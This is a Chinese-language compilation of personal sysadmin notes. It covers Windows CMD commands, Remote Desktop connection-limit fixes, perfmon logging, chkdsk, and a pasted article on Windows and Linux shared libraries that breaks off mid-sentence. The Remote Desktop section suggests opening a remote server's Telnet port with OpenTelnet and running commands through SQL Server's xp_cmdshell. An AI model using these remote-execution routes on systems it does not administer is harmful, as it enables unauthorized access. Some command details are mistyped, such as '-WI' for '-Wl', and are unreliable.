CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制檯前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件複製到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容複製到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字符串。
FOR 爲一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁盤,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啓用 Windows 來以圖像模式顯示
擴展字符集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁盤的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁盤恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的註釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變量。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啓動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁盤。
VOL 顯示磁盤卷標和序列號。
XCOPY 複製文件和目錄樹。
appwiz.cpl------------添加刪除程序
control userpasswords2--------用戶帳戶設置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以當作是 Windows 的一個附件,Ping,Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。
cmd------jview察看Java虛擬機版本。
command.com------調用的則是系統內置的 NTVDM,一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境,和系統本身聯繫不大。當我們在命令提示符下運行 DOS 程序時,實際上也 是自動轉移到 NTVDM虛擬機下,和 CMD 本身沒什麼關係。
calc-----------啓動計算器
chkdsk.exe-----Chkdsk磁盤檢查
compmgmt.msc---計算機管理
conf-----------啓動 netmeeting
control userpasswords2-----User Account 權限設置
devmgmt.msc--- 設備管理器
diskmgmt.msc---磁盤管理實用程序
dfrg.msc-------磁盤碎片整理程序
drwtsn32------ 系統醫生
dvdplay--------啓動Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------組策略編輯器
gpupdate /target:computer /force 強制刷新組策略
eventvwr.exe-----事件查看器
explorer-------打開資源管理器
logoff---------註銷命令
lusrmgr.msc----本機用戶和組
msinfo32---------系統信息
msconfig---------系統配置實用程序
net start (servicename)----啓動該服務
net stop (servicename)-----停止該服務
notepad--------打開記事本
nusrmgr.cpl-------同control userpasswords,打開用戶帳戶控制面板
Nslookup-------IP地址偵測器
oobe/msoobe /a----檢查XP是否激活
perfmon.msc----windows 性能監測程序
progman--------程序管理器
regedit----------註冊表編輯器
regedt32-------註冊表編輯器
regsvr32 /u *.dll----停止dll文件運行
route print------查看路由表
rononce -p ----15秒關機
rsop.msc-------組策略結果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啓動一個空白的Windows 圖片和傳真查看器
secpol.msc--------本地安全策略
services.msc---本地服務設置
sfc /scannow-----啓動系統文件檢查器
sndrec32-------錄音機
taskmgr-----任務管理器(適用於2000/xp/2003)
tsshutdn-------60秒倒計時關機命令
winchat--------XP自帶局域網聊天
winmsd---------系統信息
winver-----顯示About Windows 窗口
wupdmgr-----------Windows Update
http://www.cnitblog.com/applezk/archive/2008/04/02/41842.html
2003的服務器終端超出最大連接數的解決辦法
在命令行: mstsc /console /v:你的服務器IP: 遠程 端口
例如 :
開始--運行--mstsc /console /v:222.222.215.222:3389
或
開始--運行--%windir%\system32\mstsc.exe /v:172.17.25.103
或
終端服務器超出了最大允許連接,解決方案,遠程連接時加這樣的參數即可: mstsc /admin
win2K/win2003終端服務器超出最大允許連接數解決之道全攻略
原因: 用 遠程 桌面鏈接登錄到終端服務器時經常會遇到「終端服務器超出最大允許鏈接數」諸如此類錯誤導致無法正常登錄終端服務器,引起該問題的原因在於終端服務的缺 省鏈接數爲2個鏈接,並且當登錄遠程 桌面後如果不是採用 註銷 方式退出,而是直接關閉遠程 桌面窗口,那麼實際上會話並沒有釋放掉,而是繼續保留在服務器端, 這樣就會佔用總的鏈接數,當這個數量達到最大允許值時就會出現上面的提示。
如何避免?
一 、用註銷 來退出遠程 桌面而不是直接關閉窗口
二 、限制已斷開 鏈接的會話存在時間
1、從終端服務配置中修改
運行-Tscc.msc(終端服務配置)-連接-雙擊RDP-Tcp或右擊-屬性-會話-選中第一個的替代用戶設置(O)-結束已斷開 的會話[將默認值「從不」改爲一個適當的時間,比如30分鐘]
2、從組策略修改
開始-運行-gpedit.msc-計算機配置-管理模板-windows組件-終端服務-會話
右邊窗口選擇 爲斷開 的會話設置時間限制 -選擇已啓用,選擇一個時間
三 、增加最多鏈接數
1、從終端服務配置中修改:運行-Tscc.msc(終端服務配置)-連接-雙擊RDP-Tcp或右擊-屬性,選擇「網卡」選項卡-修改「最大連接 數」改 成你所需的值,當然這個值不也能太大,否則會佔用較多的系統資源。不過這裏修改的值好像不起作用,設置成無限制時照樣還是會出現本文所說的情況。
2、組策略級別要高於終端服務配置,當啓用組策略後終端服務配置中的相應選項會變成灰色不可修改
運行-gpedit.msc-計算機配置-管理模板-Windows組件-終端服務
雙擊右邊的」限制連接數量「-選擇」已啓用「-填入允許的最大連接數
四、改變遠程 終端模式
打開「控制面板」,雙擊「添加刪除程序」,單擊「添加刪除Windows組件」,「組件」,在Windows組件嚮導對話框中選中「終端服務」 , 「下一步」,「應用服務器」,「下一步」,然後按照提示即可改變終端服務的模式。
Windows 2000終端服務有2種運行模式: 遠程 管理模式和應用程序服務器模式。遠程 管理模式允許系統管理員遠程 管理服務器,而且只允許2個終端會話同時登錄終端服務器。應用程序服務器模式允許用戶 運行一個以上應用程序,允許多個用戶從終端登錄訪問服務器。但是,應用終端服務的用戶必須有終端服務授權,即必須在90天之內在這個域或工作組中設置終端 服務授權服務器,否則用戶需刪除應用程序,然後再重新安裝。
五、修改本地安全策略
控制面板>>管理工具>>本地安全策略>>本地策略>>安全選項>>
1、先找到>>Microsoft網絡服務器:在掛起會話之前所需的空閒時間
默認爲:15分鐘,改爲自己所需要的時間(就是登陸後無動作空閒超過多少時間後自動斷開 )
2、然後找到>>網絡安全:在超過登錄時間後強制註銷 。默認爲:已禁用,一定要改爲:已啓用
如果已經發生解決辦法:
1、首先你可以telnet到此主機上(不管你用哪種方法),當然如果能直接操作機器更好,不過直接操作就不必用命令行了,那當然是知道機器超級管理員的密碼的情況下,可以使用OpenTelnet來打開遠程 服務器的Telnet端口。
2、Telnet上去後,先看登陸的用戶:
輸入命令:query user
系統返回:
C:>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
k12update console 1 運行中 2007-3-14 14:57
此時可以看出的可能都不一樣,根據具體情況而定。
ID 0 的用戶是本地登陸的,ID 1 和 ID 12是3389登陸的用戶,前者在運行中,後者已經斷開 了,但是斷開 了仍然佔用系統資源和通道,我們要把它踢掉。如下進行操作即可。
輸入命令:logoff 1
3、如果服務器關閉了telnet功能(這是默認的),還可以通過SqlServer的xp_cmdshell擴展存儲過程,使用格式: master.dbo.xp_cmdshell '命令內容',其餘可參考第二步。此方式要求有訪問xp_cmdshell的權限
上面的辦法基本沒有用
文件:dos創建目錄樹.bat
內容:
MD 開發工具輔助工具
CD 開發工具輔助工具
MD 測試
CD 測試
MD 業務領域
MD 開發領域
MD 測試執行
MD 測試設計
MD 測試原理
CD..
MD 開發
CD 開發
MD 調試測試
MD 設計領域
MD 企業級應用
MD 組件開發
MD 軟件複用
MD 桌面開發
MD WEB開發
MD 數據庫
MD UML
MD 開發語言
CD..
MD 設計
CD 設計
MD XP
MD AOP
MD MDA
MD SOA
MD 設計方法學
MD 開發積累
MD 業務領域
MD 設計模式
MD 架構設計
MD 系統設計
MD 數據庫設計
MD 界面設計
MD 功能設計
MD RUPUML
MD 面向對象
CD..
MD 需求
CD 需求
MD 測試領域
MD 設計領域
MD 系統工程
MD 溝通技巧
MD 需求方法論
MD 界面原型
MD 用例建模
MD 需求分析
MD 需求捕獲
MD 業務領域
CD..
MD 基礎知識
CD 基礎知識
MD 多媒體
MD 並行計算
MD 網絡安全
MD 人工智能
MD 數據倉庫
MD 計算機網絡
MD 計算機原理
MD 彙編語言
MD 編譯原理
MD 操作系統
MD 離散數學
MD 數據結構
MD 數據庫原理
MD 程序設計
MD 軟件工程
CD..
批處理實現的ip地址切換的複雜腳本
http://space.itpub.net/10867315/viewspace-211572
幾個不常用的在dos下查看用戶信息的命令
http://hi.baidu.com/kv2004/blog/item/ef87534e6e42aa01b3de0592.html
net localgroup 查看用戶組
net config workstation查看電腦名,登錄用戶
net user aaa 查看aaa用戶的相關信息,包括屬於哪個組
windows 機器資源性能監控
typeperf
netperf
logman
http://download.chinaunix.net/download.php?id=27015&ResourceID=7345
http://rpmfind.net/linux/rpm2html/search.php?query=netperf
windows 服務器性能監控
http://download.chinaunix.net/download.php?id=27015&ResourceID=7345
http://rpmfind.net/linux/rpm2html/search.php?query=netperf
性能參數參考 :打開Windows系統 ---- 點擊開始 ---- 點擊運行 ---- 輸入perfmon
編輯文件:C:\PerfLogs\Configuration.txt
內容:
- \Processor(_Total)\% User Time
- \System\Processor Queue Length
- \Memory\Available Bytes
- \Memory\Committed Bytes
- \Memory\Pages/sec
- \PhysicalDisk(_Total)\% Disk Time
- \PhysicalDisk(_Total)\Disk Read Bytes/sec
- \PhysicalDisk(_Total)\Disk Write Bytes/sec
- \PhysicalDisk(_Total)\Avg. Disk Queue Length
- \Network Interface(Intel[R] PRO_1000 MT Network Connection)\Bytes Received/sec
- \Network Interface(Intel[R] PRO_1000 MT Network Connection)\Bytes Sent/sec
DOS 輸入
C:\Users\Administrator> logman create counter PVT -m start stop -f csv -si 5 -v mmddhhmm -o C:\PerfLogs\Results\pvt.csv -cf C:\PerfLogs\Configuration.txt
C:\Users\Administrator> logman start PVT
C:\Users\Administrator> logman stop PVT
打開文件:C:\PerfLogs\Results\pvt_09061138.csv
window 創建軟連接 / windows創建符號鏈接
C:\Users\Administrator>mklink
創建符號鏈接。
MKLINK [[/D] | [/H] | [/J]] Link Target
/D 創建目錄符號鏈接。默認爲文件
符號鏈接。
/H 創建硬鏈接,而不是符號鏈接。
/J 創建目錄聯接。
Link 指定新的符號鏈接名稱。
Target 指定新鏈接引用的路徑
(相對或絕對)。
檢查Windows是否支持TRIM功能
C:\Users\Administrator>fsutil behavior query disabledeletenotify
DisableDeleteNotify = 0
意味着操作系統支持TRIM,會將你的硬盤視爲SSD。
Windows cmd chkdsk
chkdsk的三個步驟:
- 校驗文件階段
- 驗證索引階段
- 驗證安全描述字符
如何取消開機磁盤檢測
http://blog.hjenglish.com/hzc559977/articles/1229539.html
Chkdsk大躍進:Win8磁盤檢測時間大大縮短
http://www.linuxdiyf.com/viewarticle.php?id=312436
微軟在Windows Vista/7中改進了這一模式,只有當磁盤真正報錯時纔會運行chkdsk進行檢測。但仍然有一些影響用戶體驗的地方:首先chkdsk的運行速度依然 和文件個數成正比普遍很慢,第二當磁盤出現嚴重錯誤時必須確保出錯卷處於非活動狀態纔可掃描修復,碰到這種通常情況下也只能重啓並開始漫長的等待。檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤
C:\Users\Administrator>chkdsk /F D:
C:\Users\Administrator>chkdsk /?
檢查磁盤並顯示狀態報告。
CHKDSK [volume[[path]filename]]] [/F] [/V] [/R] [/X] [/I] [/C] [/L[:size]] [/B]
volume 指定驅動器號(後面跟一個冒號)、
裝入點或卷名。
filename 僅用於 FAT/FAT32: 指定要檢查是否有碎片的文件。
/F 修復磁盤上的錯誤。
/V 在 FAT/FAT32 上: 顯示磁盤上每個文件的
完整路徑和名稱。
在 NTFS 上: 如果有清除消息,則顯示。
/R 查找損壞的扇區並恢復可讀信息
(隱含 /F)。
/L:size 僅用於 NTFS: 將日誌文件大小更改爲指定的 KB 數。如果未
指定大小,則顯示當前
大小。
/X 如果必要,則先強制卸除卷。
該卷的所有打開句柄都會無效
(隱含 /F)。
/I 僅用於 NTFS: 對索引項進行強度較小的檢查。
/C 僅用於 NTFS: 跳過文件夾結構的
循環檢查。
/B 僅用於 NTFS: 重新評估該捲上的壞簇
(隱含 /R)
/I 或 /C 開關通過跳過對該卷的某些檢查,
可減少運行 Chkdsk 所需的時間。
C:\Users\Administrator>autochk /?
C:\Windows\system32\autochk.exe 應用程序無法在 Win32 模式中運行。
動態鏈接庫及靜態鏈接庫(windows下的.dll .lib和linux下的.so .a)
Windows下 xxx.dll文件=Windows動態鏈接庫
Windows下 xxx.lib文件=Windows靜態鏈接庫
Linux 下 xxx.so文件=Linux動態鏈接庫
Linux 下 xxx.a文件=Linux靜態鏈接庫
http://wenku.baidu.com/view/d16a7c14866fb84ae45c8d26.html###
庫有動態與靜態兩種,動態通常用.so爲後綴,靜態用.a爲後綴。例如:libhello.so libhello.a
爲了在同一系統中使用不同版本的庫,可以在庫文件名後加上版本號爲後綴,例如: libhello.so.1.0,由於程序連接默認以.so爲文件後綴名。所以爲了使用這些庫,通常使用建立符號連接的方式。
ln -s libhello.so.1.0 libhello.so.1
ln -s libhello.so.1 libhello.so
使用庫
當 要使用靜態的程序庫時,連接器會找出程序所需的函數,然後將它們拷貝到執行文件,由於這種拷貝是完整的,所以一旦連接成功,靜態程序庫也就不再需要了。然 而,對動態庫而言,就不是這樣。動態庫會在執行程序內留下一個標記‘指明當程序執行時,首先必須載入這個庫。由於動態庫節省空間,linux下進行連接的 缺省操作是首先連接動態庫,也就是說,如果同時存在靜態和動態庫,不特別指定的話,將與動態庫相連接。
現在假設有一個叫hello的程序開發包,它提供一個靜態庫libhello.a 一個動態庫libhello.so,一個頭文件hello.h,頭文件中提供sayhello()這個函數
/* hello.h */
void sayhello();
另外還有一些說明文檔。這一個典型的程序開發包結構
1.與動態庫連接
linux默認的就是與動態庫連接,下面這段程序testlib.c使用hello庫中的sayhello()函數
/*testlib.c*/
#include
#include
int main()
{
sayhello();
return 0;
}
使用如下命令進行編譯
$gcc -c testlib.c -o testlib.o
用如下命令連接:
$gcc testlib.o -lhello -o testlib
在連接時要注意,假設libhello.o 和libhello.a都在缺省的庫搜索路徑下/usr/lib下,如果在其它位置要加上-L參數
與與靜態庫連接麻煩一些,主要是參數問題。還是上面的例子:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello
注:這個特別的"-WI,-Bstatic"參數,實際上是傳給了連接器ld.
指示它與靜態庫連接,如果系統中只有靜態庫當然就不需要這個參數了。
如果要和多個庫相連接,而每個庫的連接方式不一樣,比如上面的程序既要和libhello進行靜態連接,又要和libbye進行動態連接,其命令應爲:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye
3.動態庫的路徑問題
爲了讓執行程序順利找到動態庫,有三種方法:
(1)把庫拷貝到/usr/lib和/lib目錄下。
(2)在LD_LIBRARY_PATH環境變量中加上庫所在路徑。例如動態庫libhello.so在/home/ting/lib目錄下,以bash爲例,使用命令:
$export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib
(3) 修改/etc/ld.so.conf文件,把庫所在的路徑加到文件末尾,並執行ldconfig刷新。這樣,加入的目錄下的所有庫文件都可見、
4.查看庫中的符號
有 時候可能需要查看一個庫中到底有哪些函數,nm命令可以打印出庫中的涉及到的所有符號。庫既可以是靜態的也可以是動態的。nm列出的符號有很多,常見的有 三種,一種是在庫中被調用,但並沒有在庫中定義(表明需要其他庫支持),用U表示;一種是庫中定義的函數,用T表示,這是最常見的;另外一種是所謂的「弱 態」符號,它們雖然在庫中被定義,但是可能被其他庫中的同名符號覆蓋,用W表示。例如,假設開發者希望知道上央提到的hello庫中是否定義了 printf():
$nm libhello.so |grep printf
U printf
U表示符號printf被引用,但是並沒有在函數內定義,由此可以推斷,要正常使用hello庫,必須有其它庫支持,再使用ldd命令查看hello依賴於哪些庫:
$ldd hello
libc.so.6=>/lib/libc.so.6(0x400la000)
/lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)
從上面的結果可以繼續查看printf最終在哪裏被定義,有興趣可以go on
生成庫
第一步要把源代碼編繹成目標代碼。以下面的代碼爲例,生成上面用到的hello庫:
/* hello.c */
#include
void sayhello()
{
printf("hello,world\n");
}
用gcc編繹該文件,在編繹時可以使用任何全法的編繹參數,例如-g加入調試代碼等:
gcc -c hello.c -o hello.o
1.連接成靜態庫
連接成靜態庫使用ar命令,其實ar是archive的意思
$ar cqs libhello.a hello.o
2.連接成動態庫
生成動態庫用gcc來完成,由於可能存在多個版本,因此通常指定版本號:
$gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o
另外再建立兩個符號連接:
$ln -s libhello.so.1.0 libhello.so.1
$ln -s libhello.so.1 libhello.so
這樣一個libhello的動態連接庫就生成了。最重要的是傳gcc -shared 參數使其生成是動態庫而不是普通執行程序。
-Wl 表示後面的參數也就是-soname,libhello.so.1直接傳給連接器ld進行處理。實際上,每一個庫都有一個soname,當連接器發現它正 在查找的程序庫中有這樣一個名稱,連接器便會將soname嵌入連結中的二進制文件內,而不是它正在運行的實際文件名,在程序執行期間,程序會查找擁有 soname名字的文件,而不是庫的文件名,換句話說,soname是庫的區分標誌。
這樣做的目的主要是允許系統中多個版本的庫文件共存,習慣上在命名庫文件的時候通常與soname相同
libxxxx.so.major.minor
其中,xxxx是庫的名字,major是主版本號,minor 是次版本號
=====================
摘要:動態鏈接庫技術實現和設計程序常用的技術,在Windows和Linux系統中都有動態庫的概念,採用動態庫可以有效的減少程序大小,節省空間,提 高效率,增加程序的可擴展性,便於模塊化管理。但不同操作系統的動態庫由於格式 不同,在需要不同操作系統調用時需要進行動態庫程序移植。本文分析和比較了兩種操作系統動態庫技術,並給出了將Visual C++編制的動態庫移植到Linux上的方法和經驗。
1、引言
動態庫(Dynamic Link Library abbr,DLL)技術是程序設計中經常採用的技術。其目的減少程序的大小,節省空間,提高效率,具有很高的靈活性。採用動態庫技術對於升級軟件版本更加 容易。與靜態庫(Static Link Library)不同,動態庫裏面的函數不是執行程序本身的一部分,而是根據執行需要按需載入,其執行代碼可以同時在多個程序中共享。
在Windows和Linux操作系統中,都可採用這種方式進行軟件設計,但他們的調用方式以及程序編制方式不盡相同。本文首先分析了在這兩種操作系統中 通常採用的動態庫調用方法以及程序編制方式,然後分析比較了這兩種方式的不同之處,最後根據實際移植程序經驗,介紹了將VC++編制的Windows動態 庫移植到Linux下的方法。
2、動態庫技術
2.1 Windows動態庫技術
動態鏈接庫是實現Windows應用程序共享資源、節省內存空間、提高使用效率的一個重要技術手段。常見的動態庫包含外部函數和資源,也有一些動態庫只包 含資源,如Windows字體資源文件,稱之爲資源動態鏈接庫。通常動態庫以.dll,.drv、.fon等作爲後綴。相應的windows靜態庫通常 以.lib結尾,Windows自己就將一些主要的系統功能以動態庫模塊的形式實現。
Windows動態庫在運行時被系統加載到進程的虛擬空間中,使用從調用進程的虛擬地址空間分配的內存,成爲調用進程的一部分。DLL也只能被該進程的線 程所訪問。DLL的句柄可以被調用進程使用;調用進程的句柄可以被DLL使用。DLL模塊中包含各種導出函數,用於向外界提供服務。DLL可以有自己的數 據段,但沒有自己的堆棧,使用與調用它的應用程序相同的堆棧模式;一個DLL在內存中只有一個實例;DLL實現了代碼封裝性;DLL的編制與具體的編程語 言及編譯器無關,可以通過DLL來實現混合語言編程。DLL函數中的代碼所創建的任何對象(包括變量)都歸調用它的線程或進程所有。
根據調用方式的不同,對動態庫的調用可分爲靜態調用方式和動態調用方式。
(1)靜態調用,也稱爲隱式調用,由編譯系統完成對DLL的加載和應用程序結束時DLL卸載的編碼(Windows系統負責對DLL調用次數的計數),調 用方式簡單,能夠滿足通常的要求。通常採用的調用方式是把產生動態連接庫時產生的.LIB文件加入到應用程序的工程中,想使用DLL中的函數時,只須在源 文件中聲明一下。 LIB文件包含了每一個DLL導出函數的符號名和可選擇的標識號以及DLL文件名,不含有實際的代碼。Lib文件包含的信息進入到生成的應用程序中,被調 用的DLL文件會在應用程序加載時同時加載在到內存中。
(2)動態調用,即顯式調用方式,是由編程者用API函數加載和卸載DLL來達到調用DLL的目的,比較複雜,但能更加有效地使用內存,是編制大型應用程序時的重要方式。在Windows系統中,與動態庫調用有關的函數包括:
①LoadLibrary(或MFC 的AfxLoadLibrary),裝載動態庫。
②GetProcAddress,獲取要引入的函數,將符號名或標識號轉換爲DLL內部地址。
③FreeLibrary(或MFC的AfxFreeLibrary),釋放動態鏈接庫。
在windows中創建動態庫也非常方便和簡單。在Visual C++中,可以創建不用MFC而直接用C語言寫的DLL程序,也可以創建基於MFC類庫的DLL程序。每一個DLL必須有一個入口點,在VC++ 中,DllMain是一個缺省的入口函數。DllMain負責初始化(Initialization)和結束(Termination)工作。動態庫輸出 函數也有兩種約定,分別是基於調用約定和名字修飾約定。DLL程序定義的函數分爲內部函數和導出函數,動態庫導出的函數供其它程序模塊調用。通常可以有下 面幾種方法導出函數:
①採用模塊定義文件的EXPORT部分指定要輸入的函數或者變量。
②使用MFC提供的修飾符號_declspec(dllexport)。
③以命令行方式,採用/EXPORT命令行輸出有關函數。
在windows動態庫中,有時需要編寫模塊定義文件(.DEF),它是用於描述DLL屬性的模塊語句組成的文本文件。
2.2 Linux共享對象技術
在Linux操作系統中,採用了很多共享對象技術(Shared Object),雖然它和Windows裏的動態庫相對應,但它並不稱爲動態庫。相應的共享對象文件以.so作爲後綴,爲了方便,在本文中,對該概念不進 行專門區分。Linux系統的/lib以及標準圖形界面的/usr/X11R6/lib等目錄裏面,就有許多以so結尾的共享對象。同樣,在Linux 下,也有靜態函數庫這種調用方式,相應的後綴以.a結束。Linux採用該共享對象技術以方便程序間共享,節省程序佔有空間,增加程序的可擴展性和靈活 性。Linux還可以通過LD-PRELOAD變量讓開發人員可以使用自己的程序庫中的模塊來替換系統模塊。
同Windows系統一樣,在Linux中創建和使用動態庫是比較容易的事情,在編譯函數庫源程序時加上-shared選項即可,這樣所生成的執行程序就 是動態鏈接庫。通常這樣的程序以so爲後綴,在Linux動態庫程序設計過程中,通常流程是編寫用戶的接口文件,通常是.h文件,編寫實際的函數文件, 以.c或.cpp爲後綴,再編寫makefile文件。對於較小的動態庫程序可以不用如此,但這樣設計使程序更加合理。
編譯生成動態連接庫後,進而可以在程序中進行調用。在Linux中,可以採用多種調用方式,同Windows的系統目錄(..\system32等)一 樣,可以將動態庫文件拷貝到/lib目錄或者在/lib目錄裏面建立符號連接,以便所有用戶使用。下面介紹Linux調用動態庫經常使用的函數,但在使用 動態庫時,源程序必須包含dlfcn.h頭文件,該文件定義調用動態鏈接庫的函數的原型。
(1)_打開動態鏈接庫:dlopen,函數原型void *dlopen (const char *filename, int flag);
dlopen用於打開指定名字(filename)的動態鏈接庫,並返回操作句柄。
(2)取函數執行地址:dlsym,函數原型爲: void *dlsym(void *handle, char *symbol);
dlsym根據動態鏈接庫操作句柄(handle)與符號(symbol),返回符號對應的函數的執行代碼地址。
(3)關閉動態鏈接庫:dlclose,函數原型爲: int dlclose (void *handle);
dlclose用於關閉指定句柄的動態鏈接庫,只有當此動態鏈接庫的使用計數爲0時,纔會真正被系統卸載。
(4)動態庫錯誤函數:dlerror,函數原型爲: const char *dlerror(void); 當動態鏈接庫操作函數執行失敗時,dlerror可以返回出錯信息,返回值爲NULL時表示操作函數執行成功。
在取到函數執行地址後,就可以在動態庫的使用程序裏面根據動態庫提供的函數接口聲明調用動態庫裏面的函數。在編寫調用動態庫的程序的makefile文件時,需要加入編譯選項-rdynamic和-ldl。
除了採用這種方式編寫和調用動態庫之外,Linux操作系統也提供了一種更爲方便的動態庫調用方式,也方便了其它程序調用,這種方式與Windows系統 的隱式鏈接類似。其動態庫命名方式爲「lib*.so.*」。在這個命名方式中,第一個*表示動態鏈接庫的庫名,第二個*通常表示該動態庫的版本號,也可 以沒有版本號。在這種調用方式中,需要維護動態鏈接庫的配置文件/etc/ld.so.conf來讓動態鏈接庫爲系統所使用,通常將動態鏈接庫所在目錄名 追加到動態鏈接庫配置文件中。如具有X window窗口系統發行版該文件中都具有/usr/X11R6/lib,它指向X window窗口系統的動態鏈接庫所在目錄。爲了使動態鏈接庫能爲系統所共享,還需運行動態鏈接庫的管理命令./sbin/ldconfig。在編譯所引 用的動態庫時,可以在gcc採用 ?l或-L選項或直接引用所需的動態鏈接庫方式進行編譯。在Linux裏面,可以採用ldd命令來檢查程序依賴共享庫。
3、兩種系統動態庫比較分析
Windows和Linux採用動態鏈接庫技術目的是基本一致的,但由於操作系統的不同,他們在許多方面還是不盡相同,下面從以下幾個方面進行闡述。
(1)動態庫程序編寫,在Windows系統下的執行文件格式是PE格式,動態庫需要一個DllMain函數作爲初始化的人口,通常在導出函數的聲明時需 要有_declspec(dllexport)關鍵字。Linux下的gcc編譯的執行文件默認是ELF格式,不需要初始化入口,亦不需要到函數做特別聲 明,編寫比較方便。
(2)動態庫編譯,在windows系統下面,有方便的調試編譯環境,通常不用自己去編寫makefile文件,但在linux下面,需要自己動手去編寫makefile文件,因此,必須掌握一定的makefile編寫技巧,另外,通常Linux編譯規則相對嚴格。
(3)動態庫調用方面,Windows和Linux對其下編制的動態庫都可以採用顯式調用或隱式調用,但具體的調用方式也不盡相同。
(4)動態庫輸出函數查看,在Windows中,有許多工具和軟件可以進行查看DLL中所輸出的函數,例如命令行方式的dumpbin以及VC++工具中 的DEPENDS程序。在Linux系統中通常採用nm來查看輸出函數,也可以使用ldd查看程序隱式鏈接的共享對象文件。
(5)對操作系統的依賴,這兩種動態庫運行依賴於各自的操作系統,不能跨平臺使用。因此,對於實現相同功能的動態庫,必須爲兩種不同的操作系統提供不同的動態庫版本。
4、動態庫移植方法
如果要編制在兩個系統中都能使用的動態鏈接庫,通常會先選擇在Windows的VC++提供的調試環境中完成初始的開發,畢
Linux fork炸*彈的分析
http://bbs.chinaunix.net/thread-2262351-1-1.html
http://blog.csdn.net/linuxgroup/article/details/4269043
[[email protected] ~]# top
-bash: fork: Resource temporarily unavailable
出現這個問題應該是你係統某個參數值達到了最大值了,我自己測試了一下kernel.threads-max 我把這個值設置爲ps -ef | wc -l 後,使用任何命令都提示bash: fork: Resource temporarily unavailable,應爲我知道是我的這個kernel.threads-max 值設置小了,我重新設置了一下 /proc/sys/kernel/threads-max 所有的命令都可以使用了,樓主可以去查看是否是某個值已經達到很大了
EditPlus 解決, windows下寫shell的一個容易出錯的地方
http://jackyrong.iteye.com/blog/846849
在windows下用工具寫SHELL,一開始會發現老寫好後,放到LINUX下發現有問題,
說:syntax error: unexpected end of file
一查,發現原來是
dos 格式文件傳輸到unix系統時,會在每行的結尾多一個^M,當然也有可能看不到,但是在vi的時候,會在下面顯示此文件的格式,比如 "dos.txt" [dos] 120L, 2532C字樣,表示是一個[dos]格式文件,如果是MAC系統的,會顯示[MAC],因爲文件格式的原因有時會導致我們的unix程序,或者 shell程序出現錯誤,那麼需要把這些dos文件格式轉換成unix格式,方法是
最好用editplus, 在win環境下用editplus將bash文件轉爲unix文件再上傳即可,方法:
1. editplus 2.12 中文版 下,選菜單「格式」--「文件格式」 -- 「Unix」
2. editplus 3.12 英文版下,選菜單 「Document」-- 「File Format(CR/LF)」 -- 「Change File Format...」-- 「UNIX」-- 「OK」
Windows Shell 解決二
把windows下的shell寫好後FTP anscii 方式傳到linux/unix 機器上用vi重新編輯
[[email protected] ~]# cat -v partnuber20101226.sh | tr -d '^ M' > partnumber20101226.sh
ok.
一個Windows下的tail工具 (即時查看日誌)
http://www.iteye.com/topic/56769
http://users.telenet.be/jbosman/
http://dl.iteye.com/topics/download/bd490e97-cf17-45db-8954-6a0f620ed42f
Linux Win/Windows Shell UnxUtils.rar
windows使用linux指令,nice: unxutils
http://superfofo.iteye.com/blog/600203
http://unxutils.sourceforge.net/
http://unxutils.sourceforge.net/UnxUtils.zip
http://unxutils.sourceforge.net/UnxUpdates.zip
http://dl.iteye.com/topics/download/1d8ddfa6-8ed4-39d8-9386-1a46d3ca0ce1
下載UnxUtils 以及UnxUpdates之後,解壓到自己中意的文件夾,把\usr\local\wbin文件夾的絕對地址加到
我的電腦(右鍵)->屬性->高級->環境變量->系統變量->path值
注意,在所加的地址之前,應該有個分號「;」以示區分。這樣,你隨時隨地就能打開一個」cmd」console,使用如下工具:
根據自己的需要,我加入了自己常用的三個工具:vim,perl,ssh。
